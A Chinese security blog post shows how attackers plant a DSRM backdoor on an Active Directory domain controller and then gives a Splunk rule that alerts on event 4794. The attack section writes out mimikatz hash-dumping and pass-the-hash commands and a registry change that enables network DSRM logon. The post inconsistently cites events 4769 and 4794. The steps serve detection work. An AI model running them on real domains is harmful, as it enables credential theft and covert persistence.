01、简介
每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。
域内权限维持的方式有很多,每增加一条安全检测规则,就多一层安全保障。针对DSRM后门,基于AD Event日志能够帮助我们提供什么维度的检测,我们通过一个后门利用实例来看一下。
【资料图】
02、利用方式
(1)获取域内用户Hash
使用mimikatz查看域内用户test的NTLM Hash。
mimikatz # privilege::debugmimikatz # lsadump::lsa /patch /name:test
(2)将DSRM帐户和域用户的NTLM Hash同步
使用DSRM的密码和指定域用户test的密码进行同步,在命令行环境中使用ntdsutil工具重置DSRM管理员密码。
(3)抓取DSRM密码
因同步域内用户test的NTLM Hash,可以发现,DSRM Hash 和域用户test的NTLM Hash一致。
mimikatz#privilege::debugmimikatz # token::elevatemimikatz # lsadump::sam
(4)修改DSRM登录方式
DSRM 有三种登录方式,具体如下:
0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器
如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为 2。
修改注册表:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
(5)使用DSRM远程登录
在域成员服务器上使用DSRM进行远程登录,注意domain使用域控的主机名。
mimikatz # privilege::debugmimikatz # sekurlsa::pth /user:administrator /domain:win-dc01 /ntlm:44f077e27f6fef69e7bd834c7242b040
03、攻击检测
当攻击者尝试重置DSRM管理员密码或是指定域内用户NTLM Hash同步时,都会生成4769事件,因此可以实时监控4794事件,一旦攻击者尝试修改DSRM密码就会触发告警。
4794事件:每次更改目录还原模式(DSRM)管理员密码时,就会生成此事件,包含SID和帐户名,以及调用方工作站。
安全规则:
index=ad EventCode=4794 | stats count earliest(_time) AS start_time latest(_time) AS end_time by dest user| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,域控服务器:"+dest +" 疑似DSRM域后门行为,试图设置目录服务还原模式管理员密码"+count+"次,操作账号:"+user| table start_time end_time user message
安全告警效果如下图:
推荐内容
- 基于AD Event日志实时检测DSRM后门 天天聚看点
- 佛山岭南天地马哥孛罗酒店春节盆菜外卖怎
- ST中基发布业绩预告 2022年预计将扭亏为
- 环球即时:光伏企业在这里扎下根(经济聚
- 菠萝蜜容易坏吗?
- 世界快资讯:两市不足2元个股58只 *ST凯
- 优酷过冬,禁止“白嫖” 当前速读
- 盘点2022|这些品牌将“联名营销”玩明白了!
- 焦点!云闪贷网贷逾期34年多久会上征信
- “剧综联动”带来创作新模式,情景喜剧用
- 青岛外卖小哥图书馆备战法考后续:有律师
- 今日关注:宁夏环卫项目:想投标 10
- 一张图看懂真我240W满级秒充,GT Neo5 2月首发
- 最高降4.8万!国产特斯拉祭出史上最大降幅
- 调查丨郫都这个村,光合作用能卖钱|当前
- 微博借钱网贷逾期20年延迟还款会不会上征
- 天天热议:普洛药业:加入中国儿童药物研
- 天天观天下!包包里常放这四样东西,一般
- 豆豆钱信用卡逾期22天不还会怎么样呢
- 炸东西的油放了一个月还能用吗
- 《武林外传》17周年是什么成就了它的无法
- 国内互卷的电商巨头们,又要在海外交手了
- 全年销量同比增长152.5% 比亚迪 2023年
- 该脱秋裤了 全国多地暖到破纪录:部分地
- 大连电瓷:截止12月30日的股东人数为年报
- 形容落井下石的句子(精选99句)|全球聚焦
- 一加11明天发布:现已上架 或3799起售
- 世界热讯:晋飞碳纤应收款项激增,占营收
- 未婚生子是假的,双顶流真在一起了? 今
- 【世界新视野】银鹰新材拟在深交所创业板
- 石榴皮上的黄汁水怎么清洗?-全球播报
- 普通感冒、流感、新冠病毒感染有何不同?
- Elasticsearch 日志能否把全部请求打印
- 冬季加湿器怎么用?
- 蛋白粉能不能空腹喝?
- 全球今日报丨2022海东市五级工伤怎么计算
- 保利发展(600048):保利发展控股集团股份
- 安井食品(603345):安井食品部分股东提前
- 环球热讯:银保监会发布《银行保险机构消
- 2023桂林元旦易发生事故路段汇总 世界观
- 环球热文:罕见!牛散控制145个账户操纵8
- 12.29盘后 环球热讯
- 环球要闻:意尔康鞋业上海公司因信息作假
- “阳康”多久才能返岗?专家:不影响睡眠
- 陕西金叶:融资净买入1605.61万元,融资
- 英飞拓(002528.SZ):拟出售新普互联控制权
- GO 1.20 新功能:多重错误包装 环球聚焦
- CMA英文考试报名流程
- 恩施盛家坝:冬日雪景 美如仙境
- 小赢卡贷网贷9万逾期还不起会不会面临起诉
- 天天观焦点:泛亚微透(688386)12月27日
- 新华时评:“人体实验”只是美国侵害人权
- 太湖雪12月30日北交所上市今年前三季度净
- 每日消息!重庆银行一高管被终身禁业
- 松花蛋的保存方法是什么?
- 世界快讯:宏达高科:参股公司富特科技IPO
- 热点在线丨广发e秒贷网贷逾期会影响征信吗
- 质押贷款逾期会怎样?
- 知名女歌手道歉:全额赔偿!_动态焦点
- 犀牛宝逾期2年拖欠多久上征信
- 《武林外传》17周年是什么成就了它的无法
- 国内互卷的电商巨头们,又要在海外交手了
- 全年销量同比增长152.5% 比亚迪 2023年
- 该脱秋裤了 全国多地暖到破纪录:部分地
- 大连电瓷:截止12月30日的股东人数为年报
- 形容落井下石的句子(精选99句)|全球聚焦
- 一加11明天发布:现已上架 或3799起售
- 世界热讯:晋飞碳纤应收款项激增,占营收
- 未婚生子是假的,双顶流真在一起了? 今
- 【世界新视野】银鹰新材拟在深交所创业板
- 石榴皮上的黄汁水怎么清洗?-全球播报
- 普通感冒、流感、新冠病毒感染有何不同?
- Elasticsearch 日志能否把全部请求打印
- 冬季加湿器怎么用?
- 蛋白粉能不能空腹喝?
- 全球今日报丨2022海东市五级工伤怎么计算
- 保利发展(600048):保利发展控股集团股份
- 安井食品(603345):安井食品部分股东提前
- 环球热讯:银保监会发布《银行保险机构消
- 2023桂林元旦易发生事故路段汇总 世界观
- 环球热文:罕见!牛散控制145个账户操纵8
- 12.29盘后 环球热讯
- 环球要闻:意尔康鞋业上海公司因信息作假
- “阳康”多久才能返岗?专家:不影响睡眠
- 陕西金叶:融资净买入1605.61万元,融资
- 英飞拓(002528.SZ):拟出售新普互联控制权
- GO 1.20 新功能:多重错误包装 环球聚焦
- CMA英文考试报名流程
- 恩施盛家坝:冬日雪景 美如仙境
- 小赢卡贷网贷9万逾期还不起会不会面临起诉
- 天天观焦点:泛亚微透(688386)12月27日
- 新华时评:“人体实验”只是美国侵害人权
- 太湖雪12月30日北交所上市今年前三季度净
- 每日消息!重庆银行一高管被终身禁业
- 松花蛋的保存方法是什么?
- 世界快讯:宏达高科:参股公司富特科技IPO
- 热点在线丨广发e秒贷网贷逾期会影响征信吗
- 质押贷款逾期会怎样?
- 知名女歌手道歉:全额赔偿!_动态焦点
- 犀牛宝逾期2年拖欠多久上征信
- 特力A(000025.SZ):深圳市国资委将特发
- 本周盘点(12.19-12.23):东软集团周跌4
- 涨停雷达:跨境电商个股异动 浙江正特触
- 股市是靠资金推动的,可靠的低点,那还是
- 人保寿险重视个人养老金业务推动工作 保
- 通易航天(871642)12月22日游资资金净买
- 全球观察:嘉欣丝绸董秘回复:四川知微的
- 全球球精选!新农人(872242):预计 2023
- 澳华内镜(688212.SH)股东Appalachian减持
- 优库资源(02112.HK)已采纳中文名称“恩典
- 杭州西湖区拿下中国专利奖三项奖项 西湖
- 鼎龙股份子公司世纪开元创业板IPO申请获
- “5·20”助推甜蜜经济 旅行成为这届年
- 今年“清朗”系列专项行动处置账号13.4亿
- 见微知著 全球首台12色眼底相机亮相
- 江苏创新运用《多重身份认定表》 确保代
- 新发现!新疆发现新矿物镁高铁角闪石 高
- 北斗铁路行业综合应用示范工程项目成功通
- 江苏常州构建全方位立体化公共安全网 筑
- 浙江省新冠病毒抗原检测试剂注册申请 获